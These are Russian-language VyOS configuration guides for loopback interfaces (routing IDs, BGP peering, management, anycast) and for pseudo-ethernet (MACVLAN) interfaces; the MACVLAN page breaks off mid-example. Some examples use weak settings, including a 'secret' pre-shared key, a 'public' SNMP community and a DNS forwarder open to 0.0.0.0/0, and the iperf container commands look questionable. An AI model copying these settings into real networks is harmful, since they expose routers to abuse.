set interfaces loopback lo address 10.255.255.3/32

# IPv6
set interfaces loopback lo address 2001:db8::1/128

commit
```

### Проверка Loopback

```bash
# Показать loopback интерфейс
show interfaces loopback

# Детали
show interfaces loopback lo

# Ping loopback
ping 10.255.255.1

# Проверка состояния (всегда UP)
show interfaces loopback lo brief
```

Вывод:
```
lo: <LOOPBACK,UP,LOWER_UP>
    inet 10.255.255.1/32
    inet 10.255.255.2/32
    inet6 2001:db8::1/128
```

## Использование с протоколами маршрутизации

### Loopback как Router ID для OSPF

```bash
# Loopback для Router ID
set interfaces loopback lo address 10.0.0.1/32
set interfaces loopback lo description 'OSPF Router ID'

# OSPF конфигурация
set protocols ospf parameters router-id 10.0.0.1

# Анонсировать loopback в OSPF
set protocols ospf area 0 network 10.0.0.1/32

# Или привязка к интерфейсу
set protocols ospf interface lo area 0
set protocols ospf interface lo passive

commit
```

**Passive interface** - loopback не будет отправлять OSPF Hello пакеты, но будет анонсироваться в OSPF.

### Loopback для BGP Router ID

```bash
# Loopback
set interfaces loopback lo address 192.0.2.1/32

# BGP Router ID
set protocols bgp system-as 65001
set protocols bgp parameters router-id 192.0.2.1

# BGP peer с loopback как update-source
set protocols bgp neighbor 192.0.2.2 remote-as 65002
set protocols bgp neighbor 192.0.2.2 update-source 192.0.2.1
set protocols bgp neighbor 192.0.2.2 address-family ipv4-unicast

commit
```

**Update-source** указывает BGP использовать loopback IP как source для BGP сессий.

### Loopback в multi-hop eBGP

```bash
# Router A
set interfaces loopback lo address 10.1.1.1/32

set protocols bgp system-as 65001
set protocols bgp parameters router-id 10.1.1.1

# eBGP peer через loopback (multi-hop)
set protocols bgp neighbor 10.2.2.2 remote-as 65002
set protocols bgp neighbor 10.2.2.2 update-source 10.1.1.1
set protocols bgp neighbor 10.2.2.2 ebgp-multihop 255
set protocols bgp neighbor 10.2.2.2 address-family ipv4-unicast

# Маршрут к peer loopback (через IGP или статический)
set protocols static route 10.2.2.2/32 next-hop 203.0.113.2

commit
```

**Router B**:
```bash
set interfaces loopback lo address 10.2.2.2/32

set protocols bgp system-as 65002
set protocols bgp parameters router-id 10.2.2.2

set protocols bgp neighbor 10.1.1.1 remote-as 65001
set protocols bgp neighbor 10.1.1.1 update-source 10.2.2.2
set protocols bgp neighbor 10.1.1.1 ebgp-multihop 255
set protocols bgp neighbor 10.1.1.1 address-family ipv4-unicast

set protocols static route 10.1.1.1/32 next-hop 203.0.113.1

commit
```

### OSPF через Loopback (iBGP next-hop)

```bash
# Router 1
set interfaces loopback lo address 10.0.0.1/32

# OSPF для достижимости loopback
set protocols ospf area 0 network 10.0.0.1/32
set protocols ospf interface lo passive

# iBGP peer
set protocols bgp neighbor 10.0.0.2 remote-as 65000
set protocols bgp neighbor 10.0.0.2 update-source 10.0.0.1

commit
```

**Router 2**:
```bash
set interfaces loopback lo address 10.0.0.2/32

set protocols ospf area 0 network 10.0.0.2/32
set protocols ospf interface lo passive

set protocols bgp neighbor 10.0.0.1 remote-as 65000
set protocols bgp neighbor 10.0.0.1 update-source 10.0.0.2

commit
```

OSPF обеспечивает достижимость между loopback адресами, BGP использует эти адреса для пиринга.

## Management и Services

### SSH на Loopback

```bash
# Loopback для management
set interfaces loopback lo address 172.16.255.1/32
set interfaces loopback lo description 'Management Interface'

# SSH listen на loopback
set service ssh listen-address 172.16.255.1
set service ssh port 22

commit
```

Преимущество: SSH доступен пока роутер имеет хотя бы одно активное подключение к сети.

### SNMP на Loopback

```bash
# SNMP на loopback
set service snmp listen-address 172.16.255.1 port 161

# SNMP community
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24

commit
```

### NTP server на Loopback

```bash
# NTP server
set service ntp server 0.pool.ntp.org
set service ntp server 1.pool.ntp.org

# NTP listen на loopback
set service ntp listen-address 172.16.255.1

# NTP allow-client
set service ntp allow-client address 192.168.0.0/16

commit
```

### Syslog source

```bash
# Loopback для syslog source
set interfaces loopback lo address 10.10.10.1/32

# Syslog с loopback source
set system syslog host 192.168.1.100 facility all level info
set system syslog host 192.168.1.100 source-address 10.10.10.1

commit
```

## VPN и Tunneling

### VPN endpoint на Loopback

#### IPsec с Loopback

```bash
# Loopback
set interfaces loopback lo address 10.100.0.1/32

# Анонсировать в OSPF для достижимости
set protocols ospf area 0 network 10.100.0.1/32

# IPsec с loopback local-address
set vpn ipsec site-to-site peer remote authentication mode pre-shared-secret
set vpn ipsec site-to-site peer remote authentication pre-shared-secret 'secret'
set vpn ipsec site-to-site peer remote local-address 10.100.0.1
set vpn ipsec site-to-site peer remote remote-address 10.100.0.2
# ... (IKE, ESP конфигурация)

commit
```

#### WireGuard с Loopback

```bash
# Loopback
set interfaces loopback lo address 10.200.0.1/32

# WireGuard
set interfaces wireguard wg0 address 192.168.200.1/24
set interfaces wireguard wg0 port 51820

# Peer
set interfaces wireguard wg0 peer peer1 address 10.200.0.2
set interfaces wireguard wg0 peer peer1 allowed-ips 192.168.201.0/24
set interfaces wireguard wg0 peer peer1 public-key '<public-key>'

commit
```

### GRE tunnel с Loopback endpoints

```bash
# Loopback
set interfaces loopback lo address 10.0.1.1/32

# GRE tunnel с loopback endpoints
set interfaces tunnel tun0 encapsulation gre
set interfaces tunnel tun0 source-address 10.0.1.1
set interfaces tunnel tun0 remote 10.0.1.2
set interfaces tunnel tun0 address 172.16.10.1/30

# OSPF для достижимости loopback
set protocols ospf area 0 network 10.0.1.1/32

commit
```

## Anycast с Loopback

### DNS Anycast

Использование одного IP на множестве DNS серверов:

```bash
# На всех DNS серверах одинаковый anycast IP
set interfaces loopback lo address 192.0.2.53/32
set interfaces loopback lo description 'DNS Anycast'

# Анонсировать в OSPF/BGP
set protocols ospf area 0 network 192.0.2.53/32
set protocols ospf interface lo passive

# DNS сервис на anycast IP
set service dns forwarding listen-address 192.0.2.53
set service dns forwarding allow-from 0.0.0.0/0

commit
```

Клиенты используют `192.0.2.53` как DNS, запросы идут к ближайшему серверу по метрике маршрутизации.

### Load Balancer Anycast

```bash
# Anycast IP для load balancers
set interfaces loopback lo address 203.0.113.100/32
set interfaces loopback lo description 'LB Anycast VIP'

# BGP для анонсирования
set protocols bgp system-as 65001
set protocols bgp address-family ipv4-unicast network 203.0.113.100/32

commit
```

## Продвинутые конфигурации

### Multiple Loopback интерфейсы

VyOS поддерживает только один loopback интерфейс `lo`, но можно добавить множество IP:

```bash
# Router ID loopback IPs
set interfaces loopback lo address 10.255.0.1/32
set interfaces loopback lo address 10.255.0.2/32

# Management IPs
set interfaces loopback lo address 172.16.0.1/32

# Service IPs
set interfaces loopback lo address 192.168.255.1/32

# IPv6
set interfaces loopback lo address 2001:db8:ffff::1/128

commit
```

### Loopback для testing

```bash
# Test loopback
set interfaces loopback lo address 198.51.100.1/32
set interfaces loopback lo description 'Testing'

# Static route через loopback (blackhole)
set protocols static route 10.0.0.0/8 blackhole distance 254

commit
```

### Loopback в VRF

```bash
# VRF instance
set vrf name CUSTOMER-A table 100

# Loopback в VRF
set interfaces loopback lo vrf CUSTOMER-A
set interfaces loopback lo address 10.100.0.1/32

commit
```

**Примечание**: В VyOS loopback обычно в default VRF. Используйте dummy интерфейсы для VRF-specific loopback.

### Policy routing с Loopback

```bash
# Loopback для specific source
set interfaces loopback lo address 203.0.113.1/32

# Policy route
set policy route PBR rule 10 source address 192.168.1.0/24
set policy route PBR rule 10 set source-address 203.0.113.1

# Применить к интерфейсу
set interfaces ethernet eth1 policy route PBR

commit
```

Трафик с 192.168.1.0/24 будет иметь source IP 203.0.113.1 (loopback).

## Мониторинг и диагностика

### Проверка Loopback

```bash
# Показать все loopback
show interfaces loopback

# Детали
show interfaces loopback lo

# Brief
show interfaces loopback lo brief

# Статистика (обычно нулевая для loopback)
show interfaces loopback lo statistics
```

### Проверка достижимости

```bash
# Ping loopback
ping 10.255.255.1

# Ping с другого роутера
ping 10.255.255.1 source-address 192.168.1.1

# Traceroute
traceroute 10.255.255.1
```

### Проверка в routing protocols

```bash
# OSPF
show ip ospf route

# BGP
show ip bgp 10.255.255.1/32

# Routing table
show ip route 10.255.255.1
```

### tcpdump на Loopback

```bash
# Захват трафика на loopback (обычно пустой)
sudo tcpdump -i lo -n

# Системный loopback (127.0.0.1)
sudo tcpdump -i lo -n host 127.0.0.1
```

## Troubleshooting

### Loopback недоступен с других роутеров

**Проблема**: Loopback IP не pingается с других роутеров.

**Причины**:
1. Loopback не анонсируется в routing protocol
2. Firewall блокирует
3. Routing table не содержит маршрут

**Диагностика**:
```bash
# Проверить анонсирование
show ip ospf route
show ip bgp

# Firewall
show firewall ipv4 input filter

# На удаленном роутере проверить routing
show ip route 10.255.255.1
```

**Решение**:
```bash
# Добавить в OSPF
set protocols ospf area 0 network 10.255.255.1/32
set protocols ospf interface lo passive

# Или BGP
set protocols bgp address-family ipv4-unicast network 10.255.255.1/32

# Firewall (разрешить ICMP)
set firewall ipv4 input filter rule 10 action accept
set firewall ipv4 input filter rule 10 protocol icmp

commit
```

### BGP session не устанавливается через Loopback

**Проблема**: BGP neighbor (loopback IP) в состоянии Idle/Active.

**Причины**:
1. Нет достижимости до peer loopback
2. ebgp-multihop не настроен
3. Firewall блокирует BGP (TCP 179)

**Диагностика**:
```bash
# Ping peer loopback
ping 10.0.0.2 source-address 10.0.0.1

# BGP summary
show ip bgp summary

# BGP neighbor details
show ip bgp neighbors 10.0.0.2
```

**Решение**:
```bash
# Для eBGP: ebgp-multihop
set protocols bgp neighbor 10.0.0.2 ebgp-multihop 255

# Firewall
set firewall ipv4 input filter rule 20 action accept
set firewall ipv4 input filter rule 20 destination port 179
set firewall ipv4 input filter rule 20 protocol tcp

commit
```

### Service не слушает на Loopback

**Проблема**: SSH/SNMP не доступен на loopback IP.

**Диагностика**:
```bash
# Проверить слушающие порты
netstat -tlnp | grep 22

# Проверить SSH конфигурацию
show service ssh
```

**Решение**:
```bash
# SSH listen на loopback
set service ssh listen-address 172.16.255.1

# Или на всех интерфейсах
set service ssh listen-address 0.0.0.0

commit
```

## Примеры конфигураций

### Пример 1: OSPF Router ID и Management

```bash
# Loopback для Router ID и management
set interfaces loopback lo address 10.0.0.1/32
set interfaces loopback lo description 'Router ID and Management'

# OSPF
set protocols ospf parameters router-id 10.0.0.1
set protocols ospf area 0 network 10.0.0.1/32
set protocols ospf interface lo passive

# SSH на loopback
set service ssh listen-address 10.0.0.1

# SNMP на loopback
set service snmp listen-address 10.0.0.1

commit
save
```

### Пример 2: iBGP Full Mesh с Loopback

**Router 1**:
```bash
set interfaces loopback lo address 10.255.0.1/32

# OSPF для достижимости
set protocols ospf parameters router-id 10.255.0.1
set protocols ospf area 0 network 10.255.0.1/32
set protocols ospf interface lo passive

# iBGP
set protocols bgp system-as 65000
set protocols bgp parameters router-id 10.255.0.1

set protocols bgp neighbor 10.255.0.2 remote-as 65000
set protocols bgp neighbor 10.255.0.2 update-source 10.255.0.1
set protocols bgp neighbor 10.255.0.2 address-family ipv4-unicast

set protocols bgp neighbor 10.255.0.3 remote-as 65000
set protocols bgp neighbor 10.255.0.3 update-source 10.255.0.1
set protocols bgp neighbor 10.255.0.3 address-family ipv4-unicast

commit
```

**Router 2 и 3** - аналогично с соответствующими loopback IP.

### Пример 3: Anycast DNS

**DNS Server 1** (Site A):
```bash
# Anycast IP
set interfaces loopback lo address 192.0.2.53/32
set interfaces loopback lo description 'DNS Anycast'

# Реальный management IP
set interfaces loopback lo address 10.1.1.1/32

# OSPF анонсирование anycast
set protocols ospf area 0 network 192.0.2.53/32
set protocols ospf interface lo passive

# DNS на anycast IP
set service dns forwarding listen-address 192.0.2.53
set service dns forwarding allow-from 0.0.0.0/0
set service dns forwarding name-server 8.8.8.8

commit
```

**DNS Server 2** (Site B):
```bash
# Тот же anycast IP
set interfaces loopback lo address 192.0.2.53/32
set interfaces loopback lo description 'DNS Anycast'

# Свой management IP
set interfaces loopback lo address 10.2.2.2/32

# OSPF
set protocols ospf area 0 network 192.0.2.53/32
set protocols ospf interface lo passive

# DNS
set service dns forwarding listen-address 192.0.2.53
set service dns forwarding allow-from 0.0.0.0/0
set service dns forwarding name-server 8.8.8.8

commit
```

Клиенты используют `192.0.2.53`, запросы идут к ближайшему DNS серверу.

### Пример 4: Multi-hop eBGP через Loopback

**Router A (AS 65001)**:
```bash
# Loopback
set interfaces loopback lo address 10.1.1.1/32

# Физический интерфейс к Router B
set interfaces ethernet eth0 address 203.0.113.1/30

# Static route к peer loopback
set protocols static route 10.2.2.2/32 next-hop 203.0.113.2

# BGP
set protocols bgp system-as 65001
set protocols bgp parameters router-id 10.1.1.1

set protocols bgp neighbor 10.2.2.2 remote-as 65002
set protocols bgp neighbor 10.2.2.2 update-source 10.1.1.1
set protocols bgp neighbor 10.2.2.2 ebgp-multihop 255
set protocols bgp neighbor 10.2.2.2 address-family ipv4-unicast

commit
```

**Router B (AS 65002)**:
```bash
set interfaces loopback lo address 10.2.2.2/32
set interfaces ethernet eth0 address 203.0.113.2/30

set protocols static route 10.1.1.1/32 next-hop 203.0.113.1

set protocols bgp system-as 65002
set protocols bgp parameters router-id 10.2.2.2

set protocols bgp neighbor 10.1.1.1 remote-as 65001
set protocols bgp neighbor 10.1.1.1 update-source 10.2.2.2
set protocols bgp neighbor 10.1.1.1 ebgp-multihop 255
set protocols bgp neighbor 10.1.1.1 address-family ipv4-unicast

commit
```

## Лучшие практики

1. **Используйте /32 маску для IPv4 loopback**:
   ```bash
   set interfaces loopback lo address 10.255.255.1/32
   ```

2. **Уникальные Loopback IP**:
   - Каждый роутер должен иметь уникальный loopback IP
   - Используйте логическую схему (10.0.router-id.1)

3. **Router ID из Loopback**:
   - OSPF/BGP Router ID = Loopback IP
   - Обеспечивает стабильность

4. **Анонсируйте Loopback в IGP**:
   - OSPF/BGP должны знать о loopback
   - Используйте passive interface

5. **Management на Loopback**:
   - SSH, SNMP на loopback IP
   - Стабильный доступ независимо от физических интерфейсов

6. **Описания**:
   ```bash
   set interfaces loopback lo description 'Router ID: 10.0.0.1, OSPF/BGP'
   ```

7. **IPv6 Loopback**:
   ```bash
   set interfaces loopback lo address 2001:db8::1/128
   ```

8. **Документируйте назначение**:
   - Какие IP для Router ID
   - Какие для management
   - Какие для anycast

9. **Firewall для Loopback**:
   - Защищайте management services
   - Rate limiting для ICMP

10. **Мониторинг**:
    - Отслеживайте доступность loopback
    - Алерты если loopback недоступен

## Заключение

Loopback интерфейсы - это критически важный компонент сетевой инфраструктуры, обеспечивающий:

- **Стабильный Router ID** для протоколов маршрутизации
- **Надежный management** интерфейс
- **Anycast addressing** для распределенных сервисов
- **Стабильный endpoint** для VPN и tunneling

Основные use cases:
- Router ID для OSPF/BGP
- Management access (SSH, SNMP)
- BGP peering через loopback (iBGP)
- Anycast сервисы (DNS, load balancing)
- VPN endpoints
- Source IP для syslog, NTP

Правильное использование loopback интерфейсов улучшает стабильность и управляемость сетевой инфраструктуры.


---

# Pseudo-Ethernet (MACVLAN) интерфейсы в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-macvlan/



Pseudo-Ethernet или MACVLAN интерфейсы представляют собой виртуальные подинтерфейсы физических Ethernet интерфейсов, каждый из которых имеет уникальный MAC адрес. Эта технология особенно полезна в виртуализированных средах и для сетевого тестирования.

## Обзор

### Что такое Pseudo-Ethernet (MACVLAN)

MACVLAN позволяет создать несколько виртуальных сетевых интерфейсов на базе одного физического Ethernet порта. Каждый виртуальный интерфейс (sub-interface) получает собственный уникальный MAC адрес и ведет себя как независимый физический интерфейс.

**Ключевые особенности**:
- Каждый подинтерфейс имеет уникальный MAC адрес
- Меньше системных накладных расходов по сравнению с традиционным bridging
- Позволяет обойти ограничение в 4096 VLAN на физический порт
- Ведет себя как реальный Ethernet интерфейс
- Поддерживает IPv4 и IPv6 адресацию
- Наследует физические характеристики от родительского интерфейса

### Преимущества

1. **Виртуализация** - идеально подходит для виртуальных машин и контейнеров
2. **Производительность** - низкие накладные расходы, работа на уровне ядра
3. **Масштабируемость** - создание множества логических интерфейсов без дополнительного оборудования
4. **Гибкость** - обход ограничений сетевого оборудования
5. **Тестирование** - удобно для сетевого тестирования и эмуляции

### Ограничения

**Важные ограничения, которые необходимо учитывать**:

1. **Ping от хоста невозможен** - Pseudo-Ethernet интерфейсы нельзя пинговать с самого хост-роутера
2. **Нет пересылки между Pseudo-Ethernet интерфейсами** - Ethernet фреймы не пересылаются между MACVLAN интерфейсами на одном физическом порту
3. **Проблемы совместимости**:
   - Может не работать в VMware ESXi (требует promiscuous mode)
   - Некоторые сетевые коммутаторы ожидают один MAC на порт и могут блокировать множественные MAC адреса
   - WiFi интерфейсы обычно не поддерживают множественные MAC адреса
4. **Security** - некоторые сети блокируют порты с множественными MAC адресами из соображений безопасности

## Базовая конфигурация

### Создание Pseudo-Ethernet интерфейса

Основная команда для создания MACVLAN интерфейса:

```bash
# Создать peth0 на базе eth0
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 address 192.0.2.1/24
set interfaces pseudo-ethernet peth0 description 'Pseudo-Ethernet on eth0'

commit
save
```

**Компоненты конфигурации**:
- `peth0` - имя виртуального интерфейса (может быть любым)
- `source-interface eth0` - физический интерфейс-родитель
- `address` - IP адрес виртуального интерфейса
- `description` - описание интерфейса

### Множественные Pseudo-Ethernet интерфейсы

Создание нескольких MACVLAN интерфейсов на одном физическом порту:

```bash
# Первый pseudo-ethernet интерфейс
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 address 10.10.0.1/24
set interfaces pseudo-ethernet peth0 description 'MACVLAN Interface 1'

# Второй pseudo-ethernet интерфейс
set interfaces pseudo-ethernet peth1 source-interface eth0
set interfaces pseudo-ethernet peth1 address 10.20.0.1/24
set interfaces pseudo-ethernet peth1 description 'MACVLAN Interface 2'

# Третий pseudo-ethernet интерфейс
set interfaces pseudo-ethernet peth2 source-interface eth0
set interfaces pseudo-ethernet peth2 address 10.30.0.1/24
set interfaces pseudo-ethernet peth2 description 'MACVLAN Interface 3'

commit
save
```

### Проверка конфигурации

```bash
# Показать все интерфейсы
show interfaces

# Показать конкретный pseudo-ethernet интерфейс
show interfaces pseudo-ethernet peth0

# Детальная информация
show interfaces pseudo-ethernet peth0 detail

# Статистика
show interfaces pseudo-ethernet peth0 statistics

# Краткая информация
show interfaces pseudo-ethernet peth0 brief
```

## Конфигурация параметров

### IP адресация

**Статический IPv4**:
```bash
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 address 192.168.100.1/24
set interfaces pseudo-ethernet peth0 address 192.168.100.2/24
```

**Статический IPv6**:
```bash
set interfaces pseudo-ethernet peth0 address 2001:db8:100::1/64
set interfaces pseudo-ethernet peth0 address 2001:db8:100::2/64
```

**Dual-stack (IPv4 + IPv6)**:
```bash
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 address 192.168.100.1/24
set interfaces pseudo-ethernet peth0 address 2001:db8:100::1/64
```

### DHCP клиент

**DHCPv4**:
```bash
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 address dhcp
set interfaces pseudo-ethernet peth0 description 'DHCP client on peth0'
```

**DHCPv6**:
```bash
set interfaces pseudo-ethernet peth0 address dhcpv6
```

**DHCP опции**:
```bash
# Client ID
set interfaces pseudo-ethernet peth0 dhcp-options client-id 'my-macvlan-client'

# Hostname
set interfaces pseudo-ethernet peth0 dhcp-options host-name 'vyos-macvlan'

# Vendor class ID
set interfaces pseudo-ethernet peth0 dhcp-options vendor-class-id 'vyos-peth'

# Расстояние маршрута по умолчанию
set interfaces pseudo-ethernet peth0 dhcp-options default-route-distance 210

# Отклонение маршрута по умолчанию от DHCP
set interfaces pseudo-ethernet peth0 dhcp-options no-default-route
```

### MAC адрес

По умолчанию MACVLAN интерфейс получает случайно сгенерированный MAC адрес. Можно установить конкретный MAC:

```bash
# Установить конкретный MAC адрес
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 mac '00:50:56:00:ab:cd'
set interfaces pseudo-ethernet peth0 address 192.168.1.100/24
```

**Примечание**: Каждый MACVLAN интерфейс должен иметь уникальный MAC адрес.

### MTU (Maximum Transmission Unit)

```bash
# Установить MTU
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 mtu 1500
set interfaces pseudo-ethernet peth0 address 10.0.0.1/24
```

**Рекомендации по MTU**:
- MTU pseudo-ethernet не может превышать MTU родительского интерфейса
- Стандартный Ethernet: 1500
- Jumbo frames: до 9000 (требует поддержки физического интерфейса)

### Описание интерфейса

```bash
set interfaces pseudo-ethernet peth0 description 'Test network for lab environment'
```

### Отключение интерфейса

```bash
# Отключить интерфейс
set interfaces pseudo-ethernet peth0 disable

# Включить интерфейс
delete interfaces pseudo-ethernet peth0 disable
```

## Расширенные параметры

### IPv4 настройки

**ARP cache timeout**:
```bash
set interfaces pseudo-ethernet peth0 ip arp-cache-timeout 3600
```

**Proxy ARP**:
```bash
set interfaces pseudo-ethernet peth0 ip enable-proxy-arp
```

**Source validation** (защита от IP spoofing):
```bash
# Строгий режим (RFC 3704)
set interfaces pseudo-ethernet peth0 ip source-validation strict

# Мягкий режим
set interfaces pseudo-ethernet peth0 ip source-validation loose

# Отключено
set interfaces pseudo-ethernet peth0 ip source-validation disable
```

**Отключение IP forwarding на интерфейсе**:
```bash
set interfaces pseudo-ethernet peth0 ip disable-forwarding
```

### IPv6 настройки

**IPv6 автоконфигурация (SLAAC)**:
```bash
set interfaces pseudo-ethernet peth0 ipv6 address autoconf
```

**Duplicate Address Detection (DAD)**:
```bash
set interfaces pseudo-ethernet peth0 ipv6 dup-addr-detect-transmits 1
```

**Отключение IPv6**:
```bash
set interfaces pseudo-ethernet peth0 ipv6 disable
```

**Отключение IPv6 forwarding**:
```bash
set interfaces pseudo-ethernet peth0 ipv6 disable-forwarding
```

### VLAN на Pseudo-Ethernet

MACVLAN интерфейсы могут иметь собственные VLAN sub-interfaces:

```bash
# MACVLAN с VLAN тегированием
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 vif 100 address 10.100.0.1/24
set interfaces pseudo-ethernet peth0 vif 100 description 'VLAN 100 on MACVLAN'

set interfaces pseudo-ethernet peth0 vif 200 address 10.200.0.1/24
set interfaces pseudo-ethernet peth0 vif 200 description 'VLAN 200 on MACVLAN'

commit
```

**Структура**:
```
eth0 (физический интерфейс)
└── peth0 (MACVLAN)
    ├── peth0.100 (VLAN 100)
    └── peth0.200 (VLAN 200)
```

### VRF (Virtual Routing and Forwarding)

Привязка Pseudo-Ethernet интерфейса к VRF:

```bash
# Создать VRF
set vrf name RED table 100

# Привязать pseudo-ethernet к VRF
set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 address 172.16.1.1/24
set interfaces pseudo-ethernet peth0 vrf RED

commit
```

### Зеркалирование трафика

```bash
# Зеркалирование входящего трафика
set interfaces pseudo-ethernet peth0 mirror ingress eth1

# Зеркалирование исходящего трафика
set interfaces pseudo-ethernet peth0 mirror egress eth1
```

### Политики трафика (QoS)

```bash
# Создать traffic policy
set traffic-policy shaper PETH-LIMIT bandwidth 100mbit
set traffic-policy shaper PETH-LIMIT default bandwidth 80mbit

# Применить к pseudo-ethernet интерфейсу
set interfaces pseudo-ethernet peth0 traffic-policy out PETH-LIMIT
```

## Практические сценарии использования

### Сценарий 1: Сетевое тестирование

Создание нескольких тестовых интерфейсов для лабораторной среды:

```bash
# Parent интерфейс
set interfaces ethernet eth0 description 'Lab physical interface'

# Тестовая сеть 1
set interfaces pseudo-ethernet lab1 source-interface eth0
set interfaces pseudo-ethernet lab1 address 10.1.1.1/24
set interfaces pseudo-ethernet lab1 description 'Lab Network 1'

# Тестовая сеть 2
set interfaces pseudo-ethernet lab2 source-interface eth0
set interfaces pseudo-ethernet lab2 address 10.2.2.1/24
set interfaces pseudo-ethernet lab2 description 'Lab Network 2'

# Тестовая сеть 3
set interfaces pseudo-ethernet lab3 source-interface eth0
set interfaces pseudo-ethernet lab3 address 10.3.3.1/24
set interfaces pseudo-ethernet lab3 description 'Lab Network 3'

# DHCP для каждой тестовой сети
set service dhcp-server shared-network-name LAB1 subnet 10.1.1.0/24 option default-router 10.1.1.1
set service dhcp-server shared-network-name LAB1 subnet 10.1.1.0/24 range 0 start 10.1.1.100
set service dhcp-server shared-network-name LAB1 subnet 10.1.1.0/24 range 0 stop 10.1.1.200

set service dhcp-server shared-network-name LAB2 subnet 10.2.2.0/24 option default-router 10.2.2.1
set service dhcp-server shared-network-name LAB2 subnet 10.2.2.0/24 range 0 start 10.2.2.100
set service dhcp-server shared-network-name LAB2 subnet 10.2.2.0/24 range 0 stop 10.2.2.200

commit
save
```

### Сценарий 2: Виртуализация с контейнерами

Предоставление отдельных сетевых интерфейсов для Docker контейнеров или Podman:

```bash
# MACVLAN для контейнера 1
set interfaces pseudo-ethernet container1 source-interface eth1
set interfaces pseudo-ethernet container1 address 172.20.1.2/24
set interfaces pseudo-ethernet container1 description 'Container 1 Network'

# MACVLAN для контейнера 2
set interfaces pseudo-ethernet container2 source-interface eth1
set interfaces pseudo-ethernet container2 address 172.20.1.3/24
set interfaces pseudo-ethernet container2 description 'Container 2 Network'

# MACVLAN для контейнера 3
set interfaces pseudo-ethernet container3 source-interface eth1
set interfaces pseudo-ethernet container3 address 172.20.1.4/24
set interfaces pseudo-ethernet container3 description 'Container 3 Network'

# Firewall изоляция между контейнерами
set firewall ipv4 forward filter rule 500 action drop
set firewall ipv4 forward filter rule 500 inbound-interface name container1
set firewall ipv4 forward filter rule 500 outbound-interface name container2

set firewall ipv4 forward filter rule 501 action drop
set firewall ipv4 forward filter rule 501 inbound-interface name container2
set firewall ipv4 forward filter rule 501 outbound-interface name container1

commit
save
```

### Сценарий 3: Множественные подсети на одном порту

Обход ограничения количества VLAN на физическом интерфейсе:

```bash
# Физический интерфейс
set interfaces ethernet eth0 description 'Uplink to provider'

# Вместо использования VLAN (которых может быть ограничено количество),
# используем MACVLAN интерфейсы

# Подсеть клиента 1
set interfaces pseudo-ethernet client1 source-interface eth0
set interfaces pseudo-ethernet client1 address 203.0.113.1/28
set interfaces pseudo-ethernet client1 description 'Client 1 subnet'

# Подсеть клиента 2
set interfaces pseudo-ethernet client2 source-interface eth0
set interfaces pseudo-ethernet client2 address 203.0.113.17/28
set interfaces pseudo-ethernet client2 description 'Client 2 subnet'

# Подсеть клиента 3
set interfaces pseudo-ethernet client3 source-interface eth0
set interfaces pseudo-ethernet client3 address 203.0.113.33/28
set interfaces pseudo-ethernet client3 description 'Client 3 subnet'

# NAT для каждого клиента
set nat source rule 100 outbound-interface name client1
set nat source rule 100 source address 10.0.1.0/24
set nat source rule 100 translation address 203.0.113.1

set nat source rule 110 outbound-interface name client2
set nat source rule 110 source address 10.0.2.0/24
set nat source rule 110 translation address 203.0.113.17

commit
save
```

### Сценарий 4: Тестирование производительности сети

Создание среды для тестирования пропускной способности:

```bash
# Source интерфейс для генерации трафика
set interfaces pseudo-ethernet perf-src source-interface eth0
set interfaces pseudo-ethernet perf-src address 192.168.50.1/24
set interfaces pseudo-ethernet perf-src description 'Performance test source'

# Destination интерфейс для приема трафика
set interfaces pseudo-ethernet perf-dst source-interface eth0
set interfaces pseudo-ethernet perf-dst address 192.168.50.2/24
set interfaces pseudo-ethernet perf-dst description 'Performance test destination'

# Разрешить трафик между интерфейсами
set firewall ipv4 forward filter rule 600 action accept
set firewall ipv4 forward filter rule 600 source address 192.168.50.0/24
set firewall ipv4 forward filter rule 600 destination address 192.168.50.0/24

commit
save

# Тестирование с помощью iperf3 (операционный режим)
# На destination:
run generate container image iperf3
run generate container name iperf-server image iperf3 network perf-dst command "-s"

# На source:
run generate container name iperf-client image iperf3 network perf-src command "-c 192.168.50.2 -t 60"
```

### Сценарий 5: Отдельные интерфейсы для сервисов

Разделение различных сервисов на отдельные интерфейсы:

```bash
# MACVLAN для DNS сервиса
set interfaces pseudo-ethernet dns-service source-interface eth1
set interfaces pseudo-ethernet dns-service address 10.100.0.53/24
set interfaces pseudo-ethernet dns-service description 'DNS Service Interface'

# MACVLAN для Web сервиса
set interfaces pseudo-ethernet web-service source-interface eth1
set interfaces pseudo-ethernet web-service address 10.100.0.80/24
set interfaces pseudo-ethernet web-service description 'Web Service Interface'

# MACVLAN для Mail сервиса
set interfaces pseudo-ethernet mail-service source-interface eth1
set interfaces pseudo-ethernet mail-service address 10.100.0.25/24
set interfaces pseudo-ethernet mail-service description 'Mail Service Interface'

# Firewall: разрешить доступ к сервисам только на нужных портах
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 destination address 10.100.0.53
set firewall ipv4 input filter rule 100 destination port 53
set firewall ipv4 input filter rule 100 protocol udp

set firewall ipv4 input filter rule 101 action accept
set firewall ipv4 input filter rule 101 destination address 10.100.0.80
set firewall ipv4 input filter rule 101 destination port 80,443
set firewall ipv4 input filter rule 101 protocol tcp

set firewall ipv4 input filter rule 102 action accept
set firewall ipv4 input filter rule 102 destination address 10.100.0.25
set firewall ipv4 input filter rule 102 destination port 25,587
set firewall ipv4 input filter rule 102 protocol tcp

commit
save
```

## Интеграция с облачными платформами

### Yandex Cloud

В Yandex Cloud MACVLAN интерфейсы могут использоваться для создания дополнительных IP адресов на одной виртуальной машине:

```bash
# Основной интерфейс (получен от Yandex Cloud)
# eth0: 10.128.0.10/24

# Дополнительные IP через MACVLAN
set interfaces pseudo-ethernet yc-web source-interface eth0
set interfaces pseudo-ethernet yc-web address 10.128.0.20/24
set interfaces pseudo-ethernet yc-web description 'Web service IP in Yandex Cloud'

set interfaces pseudo-ethernet yc-db source-interface eth0
